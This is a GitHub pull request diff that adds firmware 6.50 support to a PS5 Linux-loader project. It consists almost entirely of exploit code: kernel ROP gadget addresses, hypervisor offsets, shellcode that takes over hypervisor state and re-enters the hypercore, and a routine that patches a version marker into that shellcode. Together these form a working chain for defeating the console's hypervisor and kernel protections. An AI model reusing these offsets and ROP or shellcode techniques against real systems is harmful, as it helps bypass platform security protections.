Merge pull request #31 from ps5-linux/fw_0650

Add firmware 6.50 support
This commit is contained in:
c0w-ar
2026-07-01 11:14:01 +02:00
committed by GitHub
6 changed files with 104 additions and 14 deletions

View File

@@ -20,7 +20,7 @@ Features:
- **3.00**, **3.10**, **3.20**, **3.21** without M.2 support - **3.00**, **3.10**, **3.20**, **3.21** without M.2 support
- **4.00**, **4.02**, **4.03**, **4.50**, **4.51** with M.2 support - **4.00**, **4.02**, **4.03**, **4.50**, **4.51** with M.2 support
- **5.00**, **5.02**, **5.10**, **5.50** with M.2 support - **5.00**, **5.02**, **5.10**, **5.50** with M.2 support
- **6.00**, **6.02** with M.2 support - **6.00**, **6.02**, **6.50** with M.2 support
- **7.20**, **7.61** with M.2 support - **7.20**, **7.61** with M.2 support
Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort. Support for 1.xx and 2.xx firmwares may be added in the future, but we will not prioritize this effort.

View File

@@ -67,6 +67,7 @@ extern offset_list off_0510;
extern offset_list off_0550; extern offset_list off_0550;
extern offset_list off_0600; extern offset_list off_0600;
extern offset_list off_0602; extern offset_list off_0602;
extern offset_list off_0650;
extern offset_list off_0720; extern offset_list off_0720;
extern offset_list off_0761; extern offset_list off_0761;

View File

@@ -1,12 +1,20 @@
#include "utils.h" #include "utils.h"
// 7.61 offsets // 7.xx offsets
#define HV_REENTER_HYPERCORE 0x0000000062806380 #define HV_REENTER_HYPERCORE_07xx 0x0000000062806380ULL
#define HV_STACK_TABLE 0x000000006282E120 #define HV_STACK_TABLE_07xx 0x000000006282E120ULL
#define HV_PML4 0x000000006282E1A0 #define HV_PML4_07xx 0x000000006282E1A0ULL
#define HV_ENTRY 0x000000006282E1B8 #define HV_ENTRY_07xx 0x000000006282E1B8ULL
#define HV_MAIN 0x0000000000000E20 #define HV_MAIN_07xx 0x0000000000000E20
#define G_VM_TAB 0x0000000000027C80 #define G_VM_TAB_07xx 0x0000000000027C80
// 6.50 offsets
#define HV_REENTER_HYPERCORE_0650 0x0000000062806780ULL
#define HV_STACK_TABLE_0650 0x000000006282D0C0ULL
#define HV_PML4_0650 0x000000006282D140ULL
#define HV_ENTRY_0650 0x000000006282D158ULL
#define HV_MAIN_0650 0x0000000000000F10
#define G_VM_TAB_0650 0x0000000000023C80
#define MSR_APICBASE 0x01b #define MSR_APICBASE 0x01b
#define MSR_GSBASE 0xc0000101 #define MSR_GSBASE 0xc0000101
@@ -19,11 +27,17 @@
#define NESTED_CTRL_NP_ENABLE 0x1 #define NESTED_CTRL_NP_ENABLE 0x1
__attribute__((section(".entry_point"), naked)) uint32_t main(void) { __attribute__((section(".entry_point"), naked)) uint32_t main(void) {
uint64_t hv_pml4 = *(uint64_t *)HV_PML4; volatile int fw_version = 0x11AA11AA; // To be updated by loader
uint64_t hv_base = *(uint64_t *)HV_ENTRY - HV_MAIN;
uintptr_t *g_vm_tab = uint64_t hv_pml4 =
(uintptr_t *)vtophys_custom(hv_base + G_VM_TAB, hv_pml4); *(uint64_t *)(fw_version == 0x0650 ? HV_PML4_0650 : HV_PML4_07xx);
uint64_t hv_base = fw_version == 0x0650
? (*(uint64_t *)HV_ENTRY_0650 - HV_MAIN_0650)
: (*(uint64_t *)HV_ENTRY_07xx - HV_MAIN_07xx);
uintptr_t *g_vm_tab = (uintptr_t *)vtophys_custom(
hv_base + (fw_version == 0x0650 ? G_VM_TAB_0650 : G_VM_TAB_07xx),
hv_pml4);
for (int i = 0; i < 16; i++) { for (int i = 0; i < 16; i++) {
uintptr_t vc = vtophys_custom(g_vm_tab[i], hv_pml4); uintptr_t vc = vtophys_custom(g_vm_tab[i], hv_pml4);
uintptr_t vmcb = vtophys_custom(*(uintptr_t *)(vc + 0x08), hv_pml4); uintptr_t vmcb = vtophys_custom(*(uintptr_t *)(vc + 0x08), hv_pml4);
@@ -42,10 +56,15 @@ __attribute__((section(".entry_point"), naked)) uint32_t main(void) {
wrmsr(MSR_APICBASE, DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP); wrmsr(MSR_APICBASE, DEFAULT_APIC_BASE | APICBASE_ENABLED | APICBASE_BSP);
// Restore gs base. // Restore gs base.
wrmsr(MSR_GSBASE, ((uint64_t *)HV_STACK_TABLE)[0] + 0x1000); wrmsr(MSR_GSBASE,
((uint64_t *)(fw_version == 0x0650 ? HV_STACK_TABLE_0650
: HV_STACK_TABLE_07xx))[0] +
0x1000);
// Reenter hypercore. // Reenter hypercore.
void (*hv_reenter_hypercore)(void) = (void *)HV_REENTER_HYPERCORE; void (*hv_reenter_hypercore)(void) =
(void *)(fw_version == 0x0650 ? HV_REENTER_HYPERCORE_0650
: HV_REENTER_HYPERCORE_07xx);
hv_reenter_hypercore(); hv_reenter_hypercore();
while (1) while (1)
; ;

View File

@@ -32,6 +32,9 @@ static uint64_t get_hv_stack(void) {
if (fw >= 0x0720 && fw < 0x0800) { if (fw >= 0x0720 && fw < 0x0800) {
return 0x628ec000; return 0x628ec000;
} }
if (fw == 0x0650) {
return 0x628d0000;
}
return -1; return -1;
} }
@@ -84,12 +87,32 @@ static void build_sx_rop(uintptr_t ist, size_t shellcode_kernel_len) {
kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf); kwrite(ist + 0x1000, rop_buf, (uintptr_t)rop - (uintptr_t)rop_buf);
} }
static int update_sc_fw_version(uint64_t shellcode) {
// Find the address 0x11AA11AA used as marker
int offset = -1;
for (uint64_t i = 0; i < 0x40; i++) {
if (*(uint32_t *)(shellcode + i) == 0x11AA11AA) {
offset = i;
break;
}
}
if (offset == -1) {
notify("Could not find offset of shellcode fw version - Aborting\n");
return -1;
}
*(uint32_t *)(shellcode + offset) = fw;
return 0;
}
int hv_defeat_0607(void *shellcode_kernel, size_t shellcode_kernel_len) { int hv_defeat_0607(void *shellcode_kernel, size_t shellcode_kernel_len) {
void *shellcode_0607 = void *shellcode_0607 =
mmap(NULL, ALIGN_UP(shellcode_0607_bin_len, PAGE_SIZE), mmap(NULL, ALIGN_UP(shellcode_0607_bin_len, PAGE_SIZE),
PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0); PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0);
memcpy(shellcode_0607, shellcode_0607_bin, shellcode_0607_bin_len); memcpy(shellcode_0607, shellcode_0607_bin, shellcode_0607_bin_len);
if (update_sc_fw_version((uint64_t)shellcode_0607))
return -1;
for (int i = 0; i < shellcode_0607_bin_len; i += PAGE_SIZE) { for (int i = 0; i < shellcode_0607_bin_len; i += PAGE_SIZE) {
install_page_syscore(kernel_cave_shellcode_0761 + i, install_page_syscore(kernel_cave_shellcode_0761 + i,
vtophys_user((uintptr_t)shellcode_0607 + i), 0); vtophys_user((uintptr_t)shellcode_0607 + i), 0);

View File

@@ -466,6 +466,50 @@ offset_list off_0602 = {
.PS5_WIFI_FW_SIZE = 494536, .PS5_WIFI_FW_SIZE = 494536,
}; };
offset_list off_0650 = {
// .IOMMU_SOFTC not needed
// .VMSPACE_VM_VMID not needed
.VMSPACE_VM_PMAP = 0x1D8,
// .DATA_BASE_GVMSPACE not needed
.ACPIGBL_FACS = (0xffffffff83c04540 - KERNEL_TEXT),
.IDT = (0xffffffff873cdde0 - KERNEL_TEXT),
.COMMON_TSS = (0xffffffff873d0a00 - KERNEL_TEXT),
// .STOPPED_CPUS not needed
// .FUN_STOP_CPUS not needed
// .FUN_AS_LAPIC_EOI not needed
// .FUN_HV_UNMAP_PT_TMR not needed
.FUN_MEMCPY = (0xffffffff804935b0 - KERNEL_TEXT),
.GAD_ADD_RSP_28_POP_RBP_RET = (0xffffffff80bb7224 - KERNEL_TEXT),
.GAD_IRETQ = (0xffffffff804547ed - KERNEL_TEXT),
.GAD_POP_RAX_RET = (0xffffffff8040eb50 - KERNEL_TEXT),
.GAD_POP_RDI_RET = (0xffffffff803f1ef8 - KERNEL_TEXT),
.GAD_POP_RSI_RET = (0xffffffff803b2a30 - KERNEL_TEXT),
.GAD_POP_RDX_RET = (0xffffffff80536a32 - KERNEL_TEXT),
//.GAD_POP_RCX_RET = (0xffffffff8033ba53 - KERNEL_TEXT),
.GAD_POP_RCX_RET = (0xffffffff804e68b8 - KERNEL_TEXT),
.GAD_POP_RSP_RET = (0xffffffff8045a830 - KERNEL_TEXT),
.GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET = (0xffffffff8061421a - KERNEL_TEXT),
.GAD_WRMSR_RET = (0xffffffff80451e84 - KERNEL_TEXT),
// .GAD_MOV_QWORD_PTR_RDI_RSI_POP_RBP_RET not needed
// .HOOK_ACPI_WAKEUP_MACHDEP not needed
.KERNEL_CODE_CAVE = 0x500,
.FUN_PRINTF = (0xffffffff806d2610 - KERNEL_TEXT),
// .FUN_HV_IOMMU_SET_BUFFERS not needed
// .FUN_HV_IOMM_WAIT_COMPLETION not needed
.FUN_SMP_RENDEZVOUS = (0xffffffff80cd20e0 - KERNEL_TEXT),
.FUN_SMP_NO_RENDEVOUS_BARRIER = (0xffffffff804bc370 - KERNEL_TEXT),
.HV_CODE_CAVE_PA = 0x62806F00,
.HV_HANDLE_VMEXIT_PA = 0x62841D50,
.KERNEL_UART_OVERRIDE = (0xffffffff822d25c8 - KERNEL_TEXT),
.KERNEL_CFI_CHECK = (0xffffffff80689a20 - KERNEL_TEXT),
.G_VBIOS = (0xffffffff875dfa50 - KERNEL_TEXT),
.FUN_TRANSMITTER_CONTROL = (0xffffffff80dcb990 - KERNEL_TEXT),
.FUN_MP3_INITIALIZE = (0xffffffff80be4190 - KERNEL_TEXT),
.FUN_MP3_INVOKE = (0xffffffff80be2f10 - KERNEL_TEXT),
.PS5_WIFI_FW_OFFSET = (0xffffffff81665b90 - KERNEL_TEXT),
.PS5_WIFI_FW_SIZE = 494536,
};
offset_list off_0720 = { offset_list off_0720 = {
// .IOMMU_SOFTC not needed // .IOMMU_SOFTC not needed
// .VMSPACE_VM_VMID not needed // .VMSPACE_VM_VMID not needed

View File

@@ -76,6 +76,9 @@ int set_offsets(void) {
case 0x0602: case 0x0602:
env_offset = off_0602; env_offset = off_0602;
break; break;
case 0x0650:
env_offset = off_0650;
break;
case 0x0720: case 0x0720:
env_offset = off_0720; env_offset = off_0720;
break; break;